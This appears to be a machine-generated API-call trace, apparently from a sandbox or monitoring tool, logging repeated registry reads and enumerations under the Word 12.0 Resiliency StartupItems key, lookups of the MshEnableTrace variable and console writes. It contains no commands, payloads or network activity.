Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 2
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 3
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0 True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 79 True 1
Fn
Data
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write size = 51 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 18 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 51 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 55 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 79 True 1
Fn
Data
File Write size = 1 True 1
Fn
Data
File Write size = 20 True 1
Fn
Data
File Write size = 1 True 3
Fn
Data
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
